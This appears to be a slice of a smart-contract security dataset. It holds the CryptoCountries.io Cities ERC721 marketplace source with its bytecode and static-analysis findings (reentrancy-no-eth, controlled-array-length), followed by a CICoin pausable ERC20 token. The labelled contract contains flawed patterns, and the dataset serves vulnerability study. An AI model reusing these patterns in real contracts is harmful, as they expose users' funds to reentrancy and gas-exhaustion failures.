uint256[] private listedItems; mapping (uint256 => address) private ownerOfItem; mapping (uint256 => uint256) private priceOfItem; mapping (uint256 => uint256) private countryOfItem; mapping (uint256 => uint256[]) private itemsOfCountry; mapping (uint256 => address) private approvedOfItem; /* Constructor */ constructor () public { } /* Modifiers */ modifier hasCountryToken () { require(countryToken != address(0)); _; } modifier onlyERC721() { require(erc721Enabled); _; } /* Initilization */ function setCountryToken (address _countryToken) onlyOwner() public { countryToken = ICountryToken(_countryToken); } /* Withdraw */ /* NOTICE: These functions withdraw the developer&#39;s cut which is left in the contract by `buy`. User funds are immediately sent to the old owner in `buy`, no user funds are left in the contract. */ function withdrawAll () onlyOwner() public { owner().transfer(address(this).balance); } function withdrawAmount (uint256 _amount) onlyOwner() public { owner().transfer(_amount); } // Unlocks ERC721 behaviour, allowing for trading on third party platforms. function enableERC721 () onlyOwner() public { erc721Enabled = true; } /* Listing */ function listMultipleItems (uint256[] _itemIds, uint256[] _countryIds, uint256 _price, address _owner) onlyAdmins() notEmergency() hasCountryToken() external { require(_itemIds.length == _countryIds.length); for (uint256 i = 0; i < _itemIds.length; i++) { listItem(_itemIds[i], _countryIds[i], _price, _owner); } } function listItem (uint256 _itemId, uint256 _countryId, uint256 _price, address _owner) onlyAdmins() notEmergency() hasCountryToken() public { require(countryToken != address(0)); require(_price > 0); require(priceOf(_itemId) == 0); require(ownerOf(_itemId) == address(0)); require(countryToken.ownerOf(_countryId) != address(0)); require(countryToken.priceOf(_countryId) > 0); ownerOfItem[_itemId] = _owner; priceOfItem[_itemId] = _price; countryOfItem[_itemId] = _countryId; listedItems.push(_itemId); itemsOfCountry[_countryId].push(_itemId); emit List(_itemId, _owner, _price); } /* Market */ function calculateNextPrice (uint256 _price) public pure returns (uint256 _nextPrice) { return _price.mul(120).div(94); } function calculateDevCut (uint256 _price) public pure returns (uint256 _devCut) { return _price.mul(3).div(100); // 3% } function calculateCountryCut (uint256 _price) public pure returns (uint256 _countryCut) { return _price.mul(3).div(100); // 3% } function buy (uint256 _itemId) notEmergency() hasCountryToken() payable public { require(priceOf(_itemId) > 0); require(ownerOf(_itemId) != address(0)); require(msg.value >= priceOf(_itemId)); require(ownerOf(_itemId) != msg.sender); require(msg.sender != address(0)); require(countryToken.ownerOf(countryOf(_itemId)) != address(0)); address oldOwner = ownerOf(_itemId); address newOwner = msg.sender; address countryOwner = countryToken.ownerOf(countryOf(_itemId)); uint256 price = priceOf(_itemId); uint256 excess = msg.value.sub(price); _transfer(oldOwner, newOwner, _itemId); priceOfItem[_itemId] = nextPriceOf(_itemId); emit Bought(_itemId, newOwner, price); emit Sold(_itemId, oldOwner, price); uint256 devCut = calculateDevCut(price); uint256 countryCut = calculateCountryCut(price); uint256 totalCut = devCut + countryCut; countryOwner.transfer(countryCut); oldOwner.transfer(price.sub(totalCut)); if (excess > 0) { newOwner.transfer(excess); } } /* Read */ function tokenExists (uint256 _itemId) public view returns (bool _exists) { return priceOf(_itemId) > 0; } function countrySupply (uint256 _countryId) public view returns (uint256 _countrySupply) { return itemsOfCountry[_countryId].length; } function priceOf (uint256 _itemId) public view returns (uint256 _price) { return priceOfItem[_itemId]; } function nextPriceOf (uint256 _itemId) public view returns (uint256 _nextPrice) { return calculateNextPrice(priceOf(_itemId)); } function countryOf (uint256 _itemId) public view returns (uint256 _countryId) { return countryOfItem[_itemId]; } function allOf (uint256 _itemId) external view returns (address _owner, uint256 _price, uint256 _nextPrice, uint256 _countryId) { return (ownerOf(_itemId), priceOf(_itemId), nextPriceOf(_itemId), countryOf(_itemId)); } function allItems (uint256 _from, uint256 _take) public view returns (uint256[] _items) { if (totalSupply() == 0) { return new uint256[](0); } uint256[] memory items = new uint256[](_take); for (uint256 i = 0; i < _take; i++) { items[i] = listedItems[_from + i]; } return items; } function countryItems (uint256 _countryId, uint256 _from, uint256 _take) public view returns (uint256[] _items) { if (countrySupply(_countryId) == 0) { return new uint256[](0); } uint256[] memory items = new uint256[](_take); for (uint256 i = 0; i < _take; i++) { items[i] = itemsOfCountry[_countryId][_from + i]; } return items; } function tokensOf (address _owner) public view returns (uint256[] _tokenIds) { uint256[] memory items = new uint256[](balanceOf(_owner)); uint256 itemCounter = 0; for (uint256 i = 0; i < listedItems.length; i++) { if (ownerOf(listedItems[i]) == _owner) { items[itemCounter] = listedItems[i]; itemCounter += 1; } } return items; } /* ERC721 */ function implementsERC721 () public view returns (bool _implements) { return erc721Enabled; } function balanceOf (address _owner) public view returns (uint256 _balance) { uint256 counter = 0; for (uint256 i = 0; i < listedItems.length; i++) { if (ownerOf(listedItems[i]) == _owner) { counter++; } } return counter; } function ownerOf (uint256 _itemId) public view returns (address _owner) { return ownerOfItem[_itemId]; } function transfer(address _to, uint256 _itemId) onlyERC721() public { require(msg.sender == ownerOf(_itemId)); _transfer(msg.sender, _to, _itemId); } function transferFrom(address _from, address _to, uint256 _itemId) onlyERC721() public { require(getApproved(_itemId) == msg.sender); _transfer(_from, _to, _itemId); } function approve(address _to, uint256 _itemId) onlyERC721() public { require(msg.sender != _to); require(tokenExists(_itemId)); require(ownerOf(_itemId) == msg.sender); if (_to == 0) { if (approvedOfItem[_itemId] != 0) { delete approvedOfItem[_itemId]; emit Approval(msg.sender, 0, _itemId); } } else { approvedOfItem[_itemId] = _to; emit Approval(msg.sender, _to, _itemId); } } function getApproved (uint256 _itemId) public view returns (address _approved) { require(tokenExists(_itemId)); return approvedOfItem[_itemId]; } function name () public pure returns (string _name) { return "CryptoCountries.io Cities"; } function symbol () public pure returns (string _symbol) { return "CC2"; } function tokenURI (uint256 _itemId) public pure returns (string) { return _concat("https://cryptocountries.io/api/metadata/city/", _uintToString(_itemId)); } function totalSupply () public view returns (uint256 _totalSupply) { return listedItems.length; } function tokenByIndex (uint256 _index) public view returns (uint256 _itemId) { require(_index < totalSupply()); return listedItems[_index]; } function tokenOfOwnerByIndex (address _owner, uint256 _index) public view returns (uint256 _itemId) { require(_index < balanceOf(_owner)); uint count = 0; for (uint i = 0; i < listedItems.length; i++) { uint itemId = listedItems[i]; if (ownerOf(itemId) == _owner) { if (count == _index) { return itemId; } count += 1; } } assert(false); } /* Internal */ function _transfer(address _from, address _to, uint256 _itemId) internal { require(tokenExists(_itemId)); require(ownerOf(_itemId) == _from); require(_to != address(0)); require(_to != address(this)); ownerOfItem[_itemId] = _to; approvedOfItem[_itemId] = 0; emit Transfer(_from, _to, _itemId); } function _uintToString (uint i) internal pure returns (string) { if (i == 0) return "0"; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0) { bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } function _concat(string _a, string _b) internal pure returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); string memory ab = new string(_ba.length + _bb.length); bytes memory bab = bytes(ab); uint k = 0; for (uint i = 0; i < _ba.length; i++) bab[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) bab[k++] = _bb[i]; return string(bab); } }
0x6080604052600436106101e95763ffffffff60e060020a600035041662923f9e81146101ee5780630562b9f71461021a57806306fdde0314610234578063081812fc146102be578063095ea7b3146102f25780631051db34146103165780631114fce51461032b57806315c73afd146103405780631785f53c1461035557806318160ddd1461037657806323b872dd1461039d57806324d7806c146103c75780632e4f43bf146103e85780632f745c5914610430578063320e028d1461045457806349f73d3d146104755780634f6ccce71461048d57806354b8dd66146104a55780635a3f2672146105135780635ba9e48e146105345780636352211e1461054c57806365121205146104755780636d2c51a714610564578063704802751461057c57806370a082311461059d57806371dc761e146105be57806383d8bae3146105d3578063853828b6146105fd5780638da5cb5b1461061257806395d89b4114610627578063a55231f41461063c578063a5de361914610695578063a9059cbb146106aa578063b9186d7d146106ce578063c87b56dd146106e6578063caa6fea4146106fe578063d96a094a14610713578063de21cd781461071e578063e08503ec14610739578063f2fde38b14610751578063f567a72a14610772578063fce48558146107ad575b600080fd5b3480156101fa57600080fd5b506102066004356107c5565b604080519115158252519081900360200190f35b34801561022657600080fd5b506102326004356107d8565b005b34801561024057600080fd5b50610249610833565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561028357818101518382015260200161026b565b50505050905090810190601f1680156102b05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102ca57600080fd5b506102d660043561086b565b60408051600160a060020a039092168252519081900360200190f35b3480156102fe57600080fd5b50610232600160a060020a036004351660243561089d565b34801561032257600080fd5b506102066109e5565b34801561033757600080fd5b506102326109f5565b34801561034c57600080fd5b50610232610a2b565b34801561036157600080fd5b50610232600160a060020a0360043516610a88565b34801561038257600080fd5b5061038b610bb1565b60408051918252519081900360200190f35b3480156103a957600080fd5b50610232600160a060020a0360043581169060243516604435610bb7565b3480156103d357600080fd5b50610206600160a060020a0360043516610bfc565b3480156103f457600080fd5b50610400600435610c7c565b60408051600160a060020a0390951685526020850193909352838301919091526060830152519081900360800190f35b34801561043c57600080fd5b5061038b600160a060020a0360043516602435610cb5565b34801561046057600080fd5b50610232600160a060020a0360043516610d4c565b34801561048157600080fd5b5061038b600435610d98565b34801561049957600080fd5b5061038b600435610dc2565b3480156104b157600080fd5b506104c3600435602435604435610df7565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156104ff5781810151838201526020016104e7565b505050509050019250505060405180910390f35b34801561051f57600080fd5b506104c3600160a060020a0360043516610eaf565b34801561054057600080fd5b5061038b600435610f82565b34801561055857600080fd5b506102d6600435610f95565b34801561057057600080fd5b5061038b600435610fb0565b34801561058857600080fd5b50610232600160a060020a0360043516610fc2565b3480156105a957600080fd5b5061038b600160a060020a036004351661102a565b3480156105ca57600080fd5b5061023261107a565b3480156105df57600080fd5b50610232600435602435604435600160a060020a03606435166110b8565b34801561060957600080fd5b50610232611364565b34801561061e57600080fd5b506102d66113bb565b34801561063357600080fd5b506102496113ca565b34801561064857600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526102329436949293602493928401919081908401838280828437509497506114019650505050505050565b3480156106a157600080fd5b506104c36114d0565b3480156106b657600080fd5b50610232600160a060020a0360043516602435611532565b3480156106da57600080fd5b5061038b600435611572565b3480156106f257600080fd5b50610249600435611584565b34801561070a57600080fd5b506102066115f4565b6102326004356115fd565b34801561072a57600080fd5b506104c360043560243561198c565b34801561074557600080fd5b5061038b600435611a36565b34801561075d57600080fd5b50610232600160a060020a0360043516611a4e565b34801561077e57600080fd5b506102326024600480358281019290820135918135918201910135604435600160a060020a0360643516611a8f565b3480156107b957600080fd5b5061038b600435611b2c565b6000806107d183611572565b1192915050565b600054600160a060020a031633146107ef57600080fd5b6107f76113bb565b600160a060020a03166108fc829081150290604051600060405180830381858888f1935050505015801561082f573d6000803e3d6000fd5b5050565b60408051808201909152601981527f43727970746f436f756e74726965732e696f204369746965730000000000000060208201525b90565b6000610876826107c5565b151561088157600080fd5b50600090815260086020526040902054600160a060020a031690565b60025460a860020a900460ff1615156108b557600080fd5b33600160a060020a03831614156108cb57600080fd5b6108d4816107c5565b15156108df57600080fd5b336108e982610f95565b600160a060020a0316146108fc57600080fd5b600160a060020a038216151561097f57600081815260086020526040902054600160a060020a03161561097a5760008181526008602090815260408083208054600160a060020a03191690558051848152905133927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35b61082f565b6000818152600860209081526040918290208054600160a060020a031916600160a060020a03861690811790915582518481529251909233927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92592918290030190a35050565b60025460a860020a900460ff1690565b600054600160a060020a03163314610a0c57600080fd5b600154600010610a1b57600080fd5b6000610a28600182611ecf565b50565b600054600160a060020a03163314610a4257600080fd5b60025460ff161515610a5357600080fd5b6002805460ff191690556040517fcd1edd3018973cd5506b3cbfbd904dac48d81ad72345b4f4e0b08b198e787e2f90600090a1565b60008054819081908190600160a060020a03163314610aa657600080fd5b610aaf85610bfc565b1515610aba57600080fd5b6001805494506000198501858110610ace57fe5b6000918252602082200154600160a060020a0316935091508190505b83811015610b325784600160a060020a0316600182815481101515610b0b57fe5b600091825260209091200154600160a060020a03161415610b2a578091505b600101610aea565b82600183815481101515610b4257fe5b60009182526020909120018054600160a060020a031916600160a060020a0392909216919091179055600180546000198601908110610b7d57fe5b60009182526020909120018054600160a060020a03191690556001805490610ba9906000198301611ecf565b505050505050565b60035490565b60025460a860020a900460ff161515610bcf57600080fd5b33610bd98261086b565b600160a060020a031614610bec57600080fd5b610bf7838383611b3e565b505050565b600080548190600160a060020a0384811691161415610c1e5760019150610c76565b5060005b600154811015610c715782600160a060020a0316600182815481101515610c4557fe5b600091825260209091200154600160a060020a03161415610c695760019150610c76565b600101610c22565b600091505b50919050565b600080600080610c8b85610f95565b610c9486611572565b610c9d87610f82565b610ca688611b2c565b93509350935093509193509193565b600080600080610cc48661102a565b8510610ccf57600080fd5b60009250600091505b600354821015610d41576003805483908110610cf057fe5b9060005260206000200154905085600160a060020a0316610d1082610f95565b600160a060020a03161415610d365784831415610d2f57809350610d43565b6001830192505b600190910190610cd8565bfe5b50505092915050565b600054600160a060020a03163314610d6357600080fd5b60028054600160a060020a039092166101000274ffffffffffffffffffffffffffffffffffffffff0019909216919091179055565b6000610dbc6064610db084600363ffffffff611c1a16565b9063ffffffff611c4c16565b92915050565b6000610dcc610bb1565b8210610dd757600080fd5b6003805483908110610de557fe5b90600052602060002001549050919050565b6060806000610e0586610fb0565b1515610e21576040805160008152602081019091529250610ea6565b83604051908082528060200260200182016040528015610e4b578160200160208202803883390190505b509150600090505b83811015610ea25760008681526007602052604090208054868301908110610e7757fe5b90600052602060002001548282815181101515610e9057fe5b60209081029091010152600101610e53565b8192505b50509392505050565b606080600080610ebe8561102a565b604051908082528060200260200182016040528015610ee7578160200160208202803883390190505b50925060009150600090505b600354811015610f795784600160a060020a0316610f29600383815481101515610f1957fe5b9060005260206000200154610f95565b600160a060020a03161415610f71576003805482908110610f4657fe5b90600052602060002001548383815181101515610f5f57fe5b60209081029091010152600191909101905b600101610ef3565b50909392505050565b6000610dbc610f9083611572565b611a36565b600090815260046020526040902054600160a060020a031690565b60009081526007602052604090205490565b600054600160a060020a03163314610fd957600080fd5b6001805480820182556000919091527fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6018054600160a060020a031916600160a060020a0392909216919091179055565b600080805b6003548110156110735783600160a060020a0316611055600383815481101515610f1957fe5b600160a060020a0316141561106b576001909101905b60010161102f565b5092915050565b600054600160a060020a0316331461109157600080fd5b6002805475ff000000000000000000000000000000000000000000191660a860020a179055565b6110c133610bfc565b15156110cc57600080fd5b60025460ff16156110dc57600080fd5b6002546101009004600160a060020a031615156110f857600080fd5b6002546101009004600160a060020a0316151561111457600080fd5b6000821161112157600080fd5b61112a84611572565b1561113457600080fd5b600061113f85610f95565b600160a060020a03161461115257600080fd5b600254604080517f6352211e0000000000000000000000000000000000000000000000000000000081526004810186905290516000926101009004600160a060020a031691636352211e91602480830192602092919082900301818787803b1580156111bd57600080fd5b505af11580156111d1573d6000803e3d6000fd5b505050506040513d60208110156111e757600080fd5b5051600160a060020a031614156111fd57600080fd5b600254604080517fb9186d7d0000000000000000000000000000000000000000000000000000000081526004810186905290516000926101009004600160a060020a03169163b9186d7d91602480830192602092919082900301818787803b15801561126857600080fd5b505af115801561127c573d6000803e3d6000fd5b505050506040513d602081101561129257600080fd5b50511161129e57600080fd5b60008481526004602090815260408083208054600160a060020a031916600160a060020a03861690811790915560058352818420869055600683528184208790556003805460018181019092557fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b0189905587855260078452828520805491820181558552938390209093018790558051858152905187927f656fea2aeb2af9841f5b2d9a77be15564d1a00f76fff68c5435aec927eb4d5d6928290030190a350505050565b600054600160a060020a0316331461137b57600080fd5b6113836113bb565b604051600160a060020a039190911690303180156108fc02916000818181858888f19350505050158015610a28573d6000803e3d6000fd5b600054600160a060020a031690565b60408051808201909152600381527f4343320000000000000000000000000000000000000000000000000000000000602082015290565b600054600160a060020a0316331461141857600080fd5b60025460ff161561142857600080fd5b6002805460ff1916600117905560408051602080825283518183015283517f8892ac824b5e54f09f85ea6b8f828f57615a4a95070a702c56ac74d15d4f10e4938593928392918301919085019080838360005b8381101561149357818101518382015260200161147b565b50505050905090810190601f1680156114c05780820380516001836020036101000a031916815260200191505b509250505060405180910390a150565b6060600180548060200260200160405190810160405280929190818152602001828054801561152857602002820191906000526020600020905b8154600160a060020a0316815260019091019060200180831161150a575b5050505050905090565b60025460a860020a900460ff16151561154a57600080fd5b61155381610f95565b600160a060020a0316331461156757600080fd5b61082f338383611b3e565b60009081526005602052604090205490565b6060610dbc606060405190810160405280602d81526020017f68747470733a2f2f63727970746f636f756e74726965732e696f2f6170692f6d81526020017f657461646174612f636974792f000000000000000000000000000000000000008152506115ef84611c63565b611d6e565b60025460ff1690565b600254600090819081908190819081908190819060ff161561161e57600080fd5b6002546101009004600160a060020a0316151561163a57600080fd5b60006116458a611572565b1161164f57600080fd5b600061165a8a610f95565b600160a060020a0316141561166e57600080fd5b61167789611572565b34101561168357600080fd5b3361168d8a610f95565b600160a060020a031614156116a157600080fd5b3315156116ad57600080fd5b6002546000906101009004600160a060020a0316636352211e6116cf8c611b2c565b6040518263ffffffff1660e060020a02815260040180828152602001915050602060405180830381600087803b15801561170857600080fd5b505af115801561171c573d6000803e3d6000fd5b505050506040513d602081101561173257600080fd5b5051600160a060020a0316141561174857600080fd5b61175189610f95565b6002549098503397506101009004600160a060020a0316636352211e6117768b611b2c565b6040518263ffffffff1660e060020a02815260040180828152602001915050602060405180830381600087803b1580156117af57600080fd5b505af11580156117c3573d6000803e3d6000fd5b505050506040513d60208110156117d957600080fd5b505195506117e689611572565b94506117f8348663ffffffff611ebd16565b935061180588888b611b3e565b61180e89610f82565b600560008b81526020019081526020016000208190555086600160a060020a0316897fd2728f908c7e0feb83c6278798370fcb86b62f236c9dbf1a3f541096c2159040876040518082815260200191505060405180910390a3604080518681529051600160a060020a038a16918b917f66f5cd880edf48cdde6c966e5da0784fcc4c5e85572b8b3b62c4357798d447d79181900360200190a36118b085610d98565b92506118bb85610d98565b6040519092508383019150600160a060020a0387169083156108fc029084906000818181858888f193505050501580156118f9573d6000803e3d6000fd5b50600160a060020a0388166108fc611917878463ffffffff611ebd16565b6040518115909202916000818181858888f1935050505015801561193f573d6000803e3d6000fd5b50600084111561198157604051600160a060020a0388169085156108fc029086906000818181858888f1935050505015801561197f573d6000803e3d6000fd5b505b505050505050505050565b6060806000611999610bb1565b15156119b5576040805160008152602081019091529250611a2e565b836040519080825280602002602001820160405280156119df578160200160208202803883390190505b509150600090505b83811015611a2a57600380548683019081106119ff57fe5b90600052602060002001548282815181101515611a1857fe5b602090810290910101526001016119e7565b8192505b505092915050565b6000610dbc605e610db084607863ffffffff611c1a16565b600054600160a060020a03163314611a6557600080fd5b611a6d6109f5565b60008054600160a060020a031916600160a060020a0392909216919091179055565b6000611a9a33610bfc565b1515611aa557600080fd5b60025460ff1615611ab557600080fd5b6002546101009004600160a060020a03161515611ad157600080fd5b858414611add57600080fd5b5060005b85811015611b2357611b1b878783818110611af857fe5b905060200201358686848181101515611b0d57fe5b9050602002013585856110b8565b600101611ae1565b50505050505050565b60009081526006602052604090205490565b611b47816107c5565b1515611b5257600080fd5b82600160a060020a0316611b6582610f95565b600160a060020a031614611b7857600080fd5b600160a060020a0382161515611b8d57600080fd5b600160a060020a038216301415611ba357600080fd5b60008181526004602090815260408083208054600160a060020a03808816600160a060020a031992831681179093556008855294839020805490911690558151858152915190938716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef928290030190a3505050565b600080831515611c2d5760009150611073565b50828202828482811515611c3d57fe5b0414611c4557fe5b9392505050565b6000808284811515611c5a57fe5b04949350505050565b60606000808281851515611cac5760408051808201909152600181527f300000000000000000000000000000000000000000000000000000000000000060208201529450611d65565b8593505b8315611cc757600190920191600a84049350611cb0565b826040519080825280601f01601f191660200182016040528015611cf5578160200160208202803883390190505b5091505060001982015b8515611d6157815160001982019160f860020a6030600a8a060102918491908110611d2657fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a86049550611cff565b8194505b50505050919050565b606080606080606060008088955087945084518651016040519080825280601f01601f191660200182016040528015611db1578160200160208202803883390190505b50935083925060009150600090505b8551811015611e36578581815181101515611dd757fe5b90602001015160f860020a900460f860020a028383806001019450815181101515611dfe57fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600101611dc0565b5060005b8451811015611eb0578481815181101515611e5157fe5b90602001015160f860020a900460f860020a028383806001019450815181101515611e7857fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600101611e3a565b5090979650505050505050565b600082821115611ec957fe5b50900390565b815481835581811115610bf757600083815260209020610bf791810190830161086891905b80821115611f085760008155600101611ef4565b50905600a165627a7a72305820dbb7c5f77cafc38fe8a52b4fdedc19d1906b2e63ac88af071819189f778d35a30029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
5,806
0xf34A0e6B54df071d1efdF96396B9c17f7a0C1E00
pragma solidity ^0.4.18; /** * @title Math * @dev Assorted math operations */ library Math { function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract CICoin is Ownable, PausableToken { string public constant name = "CICoin"; string public constant symbol = "CIC"; uint8 public constant decimals = 8; uint256 public constant INITIAL_SUPPLY = 12000000 * (10 ** uint256(decimals)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ function CICoin() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; Transfer(0x0, msg.sender, INITIAL_SUPPLY); // Stop transferring pause(); } function transferByOwner(address _to, uint256 _value) public onlyOwner returns (bool) { // Transfers tokens during ICO require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function() payable { owner.transfer(msg.value); } }
